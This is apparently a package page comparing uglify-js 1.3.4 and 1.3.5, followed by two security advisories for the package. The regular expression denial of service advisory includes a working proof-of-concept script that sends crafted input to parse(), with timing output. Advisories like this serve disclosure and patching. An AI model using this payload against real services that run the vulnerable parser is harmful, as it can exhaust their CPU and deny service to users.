UglifyJS is a JavaScript parser, compressor, and beautifier toolkit designed to optimize JavaScript code for production environments. Version 1.3.5 builds upon the foundation laid by version 1.3.4, offering developers an updated iteration of this essential tool. Both versions share the same core functionality, providing the ability to parse, compress, and beautify JavaScript code, aiding in reducing file sizes and improving website loading times. They also share the same dependencies for the nodeunit testing framework. Both versions point to the same author, Mihai Bazon, and the same GitHub repository.
The primary distinction lies in the release date, and consequently, potential bug fixes, performance improvements, and compatibility updates incorporated into the newer version. Version 1.3.5 was released on June 7, 2013, while version 1.3.4 was released significantly earlier on October 20, 2012. Developers should consider upgrading to version 1.3.5 to benefit from any refinements made in the intervening months. These updates could address issues discovered in the earlier version, enhance compression efficiency, or improve compatibility with newer JavaScript standards and browser environments. While the core features remain consistent, the newer version is simply a more polished and potentially more reliable choice for JavaScript minification and optimization. Using the latest version of dependencies ensures that every developer takes advantage of the newest optimization and functionality offered from a package.
All the vulnerabilities related to the version 1.3.5 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.